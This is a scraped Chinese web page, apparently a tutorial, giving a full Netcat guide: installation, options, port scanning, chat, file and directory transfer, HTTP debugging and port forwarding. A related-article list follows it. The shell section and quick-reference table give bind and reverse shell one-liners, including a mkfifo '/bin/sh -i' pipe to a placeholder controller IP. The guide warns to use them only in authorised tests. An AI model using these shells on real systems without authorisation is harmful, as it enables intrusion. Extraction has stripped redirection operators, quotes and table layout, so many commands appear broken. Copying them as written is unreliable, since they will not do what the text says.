当前位置: 首页 > article >正文

Netcat (nc) 全面使用指南

Netcat 被誉为网络工具中的瑞士军刀是一个功能强大的网络调试和诊断工具。它可以在 TCP/UDP 协议下进行连接、监听、端口扫描、文件传输和代理转发等操作。一、安装与基本语法1.1 安装方法操作系统安装命令Ubuntu/Debiansudo apt install netcat-openbsdCentOS/RHELsudo yum install ncmacOSbrew install netcatWindows下载 ncat 或独立nc.exe1.2 基本语法nc [选项] [目标主机] [端口]Netcat 有两种核心工作模式模式说明典型命令客户端模式连接模式主动连接到远程主机nc host port服务器模式监听模式监听本地端口等待连接nc -l -p port二、核心参数详解2.1 基础参数参数说明示例-l监听模式作为服务器端nc -l 8080-p指定本地端口nc -l -p 8080-u使用 UDP 协议默认 TCPnc -u -l 8080-v详细输出-vv更详细nc -vz target 80-n不进行 DNS 解析nc -nv 192.168.1.1 80-z零 I/O 模式仅扫描端口nc -zv target 1-1000-w设置超时时间秒nc -w 3 target 80-k保持监听接受多个连接nc -lk 8080-4仅使用 IPv4nc -4 target 80-6仅使用 IPv6nc -6 target 802.2 高级参数参数说明适用场景-e连接后执行程序危险反向 Shell-c通过/bin/sh执行命令替代-e-x通过代理连接穿透代理-X代理协议4/5/connectSOCKS 代理-NEOF 后关闭 socket规范关闭连接2.3 参数差异说明重要不同 Linux 发行版内置的nc版本可能有差异版本特点常见发行版OpenBSD 版功能丰富、安全无-e选项Ubuntu、Debian、macOSTraditional 版支持-e选项CentOS 6、RHEL 6Ncat (Nmap)功能最全支持 SSL可单独安装查看版本nc -h看输出特征判断。三、核心功能场景3.1 端口扫描TCP 端口扫描# 扫描单个端口 nc -zv 192.168.1.1 22 # 扫描端口范围 nc -zv 192.168.1.1 20-100 # 详细扫描两次 -v nc -vvz 192.168.1.1 80-443 # 带超时扫描 nc -zvw 3 192.168.1.1 1-1000UDP 端口扫描UDP 扫描可靠性较低nc -zuv 192.168.1.1 53 nc -zuv 192.168.1.1 1-100使用说明-z不发送任何数据仅检查连接状态-v显示详细信息-v -v显示更详细内容-w 3设置超时 3 秒避免长时间等待3.2 建立 TCP/UDP 连接与聊天TCP 聊天# 服务器端监听 nc -l 8080 # 客户端连接 nc 192.168.1.100 8080UDP 聊天# 服务端 nc -u -l 8080 # 客户端 nc -u 192.168.1.100 8080连接建立后双方输入的内容会发送给对方按CtrlC退出。持续监听模式接受多个连接nc -lk 80803.3 文件传输传输单个文件# 接收端服务器 nc -l 8080 received_file.txt # 发送端客户端 nc 192.168.1.100 8080 send_file.txt传输目录结合tar# 接收端监听并解压 nc -l 8080 | tar xzvf - # 发送端打包并发送 tar czvf - /path/to/dir | nc 192.168.1.100 8080传输完成后自动关闭当发送端文件传输完毕连接自动关闭。3.4 远程 Shell反弹 Shell正向 Shell目标机器主动提供 Shell# 目标机器服务器 nc -l 8080 -e /bin/bash # Linux需 -e 支持 nc -l 8080 -e cmd.exe # Windows # 控制端客户端 nc target_ip 8080反向 Shell更常用可突破防火墙# 控制端等待连接 nc -l 8080 # 目标机器主动连接 nc 控制端IP 8080 -e /bin/bash无需-e的反向 ShellOpenBSD 版本# 控制端 nc -l 8080 # 目标机器 mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 21 | nc 控制端IP 8080 /tmp/f安全警告-e功能极不安全仅限授权测试环境使用。3.5 HTTP 调试与 Web 服务模拟手动发送 HTTP 请求# 连接后手动输入 nc example.com 80 GET / HTTP/1.1 Host: example.com # 或通过 echo 发送 echo -e GET / HTTP/1.1\r\nHost: example.com\r\n\r\n | nc example.com 80模拟简单 Web 服务器# 返回固定内容 echo -e HTTP/1.1 200 OK\r\n\r\nHello World | nc -l 8080 # 持续响应循环 while true; do echo -e HTTP/1.1 200 OK\r\n\r\n$(date) | nc -l 8080; done3.6 端口转发与代理基本端口转发# 将本地 8080 转发到目标 80需命名管道 mkfifo /tmp/fifo cat /tmp/fifo | nc target 80 | nc -l 8080 /tmp/fifoNcat 代理功能功能更完整# 通过 SOCKS5 代理连接 ncat --proxy socks5://proxy:1080 --proxy-type socks5 target 80 # SSL 加密连接 ncat --ssl target 443四、实用命令速查用途命令端口扫描nc -zv target 1-1000UDP 端口扫描nc -zuv target 53简单聊天服务器nc -l 8080UDP 聊天nc -u -l 8080文件接收nc -l 8080 file文件发送nc target 8080 file目录传输发送tar czf - ./dir | nc target 8080目录传输接收nc -l 8080 | tar xzvf -HTTP GET 请求echo -e GET / HTTP/1.1\r\nHost: target\r\n\r\n | nc target 80简单 Web 服务echo -e HTTP/1.1 200 OK\r\n\r\nOK | nc -l 8080反向 ShellLinuxnc target 8080 -e /bin/bash反向 Shell无 -emkfifo /tmp/f; cat /tmp/f | /bin/sh -i 21 | nc target 8080 /tmp/f五、不同版本对比特性OpenBSD ncTraditional ncNcat (Nmap)默认端口扫描-z✅✅✅UDP 支持-u✅✅✅-e选项❌ 不支持✅ 支持✅ 支持SSL/TLS 加密❌❌✅代理支持SOCKS/HTTP✅OpenBSD 新版❌✅多连接模式-k✅❌✅适用场景日常使用老脚本/逆向 Shell安全测试/加密传输推荐日常使用 → OpenBSD 版本系统自带需要-e→ 安装 Ncat 或 Traditional 版需要加密 → 使用 Ncat--ssl选项六、注意事项安全使用-e选项极其危险会暴露系统 Shell仅限授权测试环境使用生产环境推荐使用 Ncat SSL 加密传输敏感数据网络影响高速端口扫描可能被安全设备识别为攻击行为UDP 扫描容易出现误报应配合其他工具验证权限要求绑定 1024 以下端口需要 root 权限某些功能需要 root 权限才能正常工作

相关文章:

Netcat (nc) 全面使用指南

Netcat 被誉为网络工具中的"瑞士军刀",是一个功能强大的网络调试和诊断工具。它可以在 TCP/UDP 协议下进行连接、监听、端口扫描、文件传输和代理转发等操作。 一、安装与基本语法 1.1 安装方法 操作系统安装命令Ubuntu/Debiansudo apt install netcat…...

SSH Host key verification failed 原因与安全处理指南

1. 这个报错不是故障,而是SSH在认真履职“Host key verification failed”——第一次看到这个提示时,我正远程部署一个客户服务器,敲完ssh user192.168.3.45回车,终端突然卡住两秒,然后跳出这行红字,后面还…...

别再只用XGBoost了!用Python手把手教你玩转Stacking和Blending模型融合

别再只用XGBoost了!用Python手把手教你玩转Stacking和Blending模型融合当你在Kaggle竞赛中反复调整XGBoost参数却始终无法突破0.01的AUC提升,或者在业务场景中发现单一模型对某些特殊样本总是预测失误时,或许该换个思路了——就像交响乐团需要…...

从客户分群到市场细分:系统聚类法在Python/R中的商业案例分析

从客户分群到市场细分:系统聚类法在Python/R中的商业案例分析在商业分析领域,数据驱动的决策正变得越来越重要。无论是电商平台的用户画像构建,还是零售行业的市场细分,亦或是金融领域的风险评估,聚类分析都扮演着关键…...

qmcdump完整指南:3步轻松解密QQ音乐加密文件

qmcdump完整指南:3步轻松解密QQ音乐加密文件 【免费下载链接】qmcdump 一个简单的QQ音乐解码(qmcflac/qmc0/qmc3 转 flac/mp3),仅为个人学习参考用。 项目地址: https://gitcode.com/gh_mirrors/qm/qmcdump qmcdump是一款简…...

量子机器学习提升软件测试效率的混合优化框架

1. 量子机器学习如何革新软件测试效率在DevOps和敏捷开发成为主流的今天,软件测试面临着前所未有的挑战。传统测试方法在应对现代复杂系统时显得力不从心——根据行业调研,大型系统中测试环节消耗的开发资源高达40-50%。更棘手的是,随着微服务…...

ARM ETE跟踪单元与单次比较器控制技术解析

1. ARM ETE跟踪单元的核心机制解析在嵌入式系统调试领域,ARM的嵌入式跟踪扩展(Embedded Trace Extension, ETE)提供了一套完整的指令执行流监控方案。其核心组件跟踪单元(Trace Unit)通过地址比较器(Address Comparator)实现细粒度的执行监控,能够捕获特…...

3DMAX傻瓜式插件SimpleRope:一键生成绳子软管螺旋线!

3MAX简单绳子插件SimpleRope,从样条线生成螺旋线网格(包括简单的绳子)。本教程将带你全面掌握SimpleRope插件的使用方法,从普通的绳子、柔性的软管,到参数可调的螺旋线,只需一条样条线路径,点击…...

ARM SVE2指令集与USUBWB指令优化实践

1. ARM SVE2指令集概述在当今计算密集型应用领域,向量处理能力已成为衡量处理器性能的关键指标。ARM架构的Scalable Vector Extension 2(SVE2)作为第二代可扩展向量指令集,在2021年随ARMv9架构一同发布,为高性能计算领…...

ARM SVE2向量指令UQSHLR与URSHLR详解

1. ARM SVE2向量指令概述在ARMv9架构中,SVE2(Scalable Vector Extension 2)作为第二代可伸缩向量扩展,为高性能计算和机器学习工作负载提供了强大的并行处理能力。与传统的NEON指令集相比,SVE2最大的特点是支持向量长度…...

【架构实战】解决长文本多轮对话中的“上下文腐化”问题:基于 Multi-Agent 的异步调度引擎设计

大家好,最近在研究 LLM 辅助编程和多角色对话时,我发现了一个非常头疼的问题:“上下文腐化”(Context Rot)。 当你在一个 Session 里塞入多个 System Prompt(比如试图让几个不同的 AI 角色在一个群里聊天&…...

别再死磕OFDMA了!用Python+PyTorch手把手复现NOMA的SIC接收机(附代码)

用PythonPyTorch实战NOMA的SIC接收机:从理论到代码实现在5G和后5G时代,非正交多址接入(NOMA)技术因其卓越的频谱效率而备受关注。与传统的正交多址(OFDMA)不同,NOMA允许用户在相同时频资源上叠加传输,通过功率域复用和先进的接收机…...

ARM Trace Buffer扩展与调试同步机制详解

1. ARM Trace Buffer扩展与调试状态同步机制解析在嵌入式系统和处理器架构设计中,调试与追踪技术是开发人员不可或缺的工具。ARM架构通过Trace Buffer Extension(TBE)提供了强大的指令级执行流追踪能力,其核心原理是通过专用硬件单…...

芯祥联MQTT BROKER 各服务器平台部署方法培训-1

BROKER部署方法_哔哩哔哩_bilibili 培训视频请进入B站,谢谢。...

别再死记公式了!用Python手把手复现西瓜书3.0α数据集的对率回归(附完整代码与可视化)

从西瓜数据集到决策边界:Python实战对率回归的数学之美机器学习初学者常陷入公式推导与代码落地的断层中——明明理解了教材中的数学原理,面对实际数据集时却无从下手。本文将以周志华《机器学习》中的西瓜数据集3.0α为蓝本,用Python完整演绎…...

告别默认图表:手把手教你定制VASPKIT的PLOT.In文件,画出符合期刊要求的能带图

科研绘图进阶:深度定制VASPKIT能带图的专业技巧在学术论文写作中,一张精心设计的能带图往往能成为研究成果的视觉名片。VASPKIT作为材料计算领域的利器,其自动绘图功能虽然便捷,但默认输出往往难以满足高端期刊的审美要求。本文将…...

Nature|619372人循环代谢性状的遗传分析

尽管复杂疾病的全基因组关联研究(GWAS)通常会分析多达100多万人,但分子特征的研究却滞后了。在这里,研究对爱沙尼亚生物库和英国生物库中多达619,372名个体的249个循环代谢特征进行了GWAS荟萃分析。从8,398个趋同于共享基因和通路…...

魔兽争霸3终极优化指南:5分钟彻底解决画面拉伸和帧率锁定问题

魔兽争霸3终极优化指南:5分钟彻底解决画面拉伸和帧率锁定问题 【免费下载链接】WarcraftHelper Warcraft III Helper , support 1.20e, 1.24e, 1.26a, 1.27a, 1.27b 项目地址: https://gitcode.com/gh_mirrors/wa/WarcraftHelper 还在为经典游戏魔兽争霸3在现…...

勒索软件时代:你的备份数据安全吗?

最近几个月,我连续接到好几个客户的求助电话,都是中了勒索病毒。说真的,干灾备这行十几年,以前一年也碰不到几个勒索案例,现在一个月就能听到好几起。有个客户是做电商的,凌晨三点被锁了数据库,…...

QM/MM与ML/MM模拟对比:从呋喃光化学弛豫看机器学习力场结构保真度

1. 项目概述:从呋喃的光化学弛豫看QM/MM与ML/MM模拟的实战差异在计算化学和分子模拟领域,我们常常需要回答一个核心问题:一个分子在吸收光能量后,究竟会经历怎样的微观旅程?这个过程充满了不确定性,电子在几…...

机器学习势函数与量子热浴结合:精准模拟钛酸钡相变中的核量子效应

1. 项目概述:当机器学习势函数遇上量子热浴在计算材料科学领域,我们一直面临着一个核心矛盾:精度与效率的权衡。研究像钛酸钡(BaTiO₃)这样的经典铁电材料相变,我们需要在原子尺度上追踪成千上万个原子在温…...

如何安装OpenClaw?2026年京东云部署及配置Token Plan详细攻略

如何安装OpenClaw?2026年京东云部署及配置Token Plan详细攻略。OpenClaw是开源的个人AI助手,Hermes Agent则是一个能自我进化的AI智能体框架。阿里云提供计算巢、轻量服务器及无影云电脑三种部署OpenClaw 与 Hermes Agent的方案、百炼Token Plan兼容主流…...

终极QMC解密指南:如何快速将QQ音乐加密音频转换为MP3/FLAC格式

终极QMC解密指南:如何快速将QQ音乐加密音频转换为MP3/FLAC格式 【免费下载链接】qmc-decoder Fastest & best convert qmc 2 mp3 | flac tools 项目地址: https://gitcode.com/gh_mirrors/qm/qmc-decoder 你是否曾经从QQ音乐下载了喜欢的歌曲&#xff0c…...

人形机器人场景数据采集实战:从方案设计到质量验收

人形机器人场景数据采集实战:从方案设计到质量验收 摘要:人形机器人场景数据采集与传统工业数据采集有本质区别——场景复杂、交互多样、数据量巨大。本文基于多个落地项目经验,从采集方案设计、设备选型、场景编排、质量验收四个环节&#x…...

Redis 缓存实战案例与技术详解

Redis 缓存实战案例与技术详解 1. Redis 简介 Redis 是一种开源的内存数据存储,常用于缓存和消息队列。 2. 配置优化 使用 LRU 淘汰策略配置数据持久化功能 3. 实战案例 案例一:电商秒杀系统 架构:前端系统 Redis 持久化缓存特点&#xff1a…...

ros2_control 代码架构分析

ros2_control 代码架构分析 一、整体框架 1.1 代码框架 ├── ros2_control/ # ★ 框架本体(vendored,jazzy 分支) │ ├── controller_manager/ # 核心运行时:ros2_control_node │ ├── hardware_interface/ # 硬件抽象 +…...

不只是驱动问题:深度排查Windows CMD中nvidia-smi失效的5种可能及解决方案

不只是驱动问题:深度排查Windows CMD中nvidia-smi失效的5种可能及解决方案当你在Windows CMD中键入nvidia-smi命令却只得到"不是内部或外部命令"的提示时,多数教程会告诉你"配置环境变量Path即可解决"。但现实往往更复杂——特别是当…...

S32K144FTM定时器中断

目录 FTM定时器概念定义 定时器运用常用概念 S32DS添加FTM库 S32DSFTM外设配置 S32DS添加库冲突概念理解 FTM_DRV_Init函数定义 FTM_DRV_InitCounter外设函数 FTM_DRV_InitCounter外设函数 FTM_DRV_CounterStart外设函数 INT_SYS_InstallHandler外设函数 INT_SYS_Ins…...

CentOS服务器上VNC连接总出问题?这份保姆级排错手册(含端口混乱、服务重启、密码修改)

CentOS服务器VNC连接全流程排错指南:从端口混乱到服务恢复当你正埋头调试一个关键的仿真任务,突然VNC连接断开,所有工作界面瞬间消失——这种场景对使用CentOS服务器的工程师和科研人员来说绝不陌生。VNC作为远程桌面的生命线,一旦…...

2026年了,还在为电力负荷预测发愁?基于XGBoost的多变量单步预测全栈实战!

大家好,我是你们的技术伙伴。👋在2026年的今天,随着“双碳”目标的推进,智能电网和能源互联网成为了技术的热点。而这一切的基础,就是精准的电力负荷预测。很多初学者觉得负荷预测很难,觉得需要复杂的深度学…...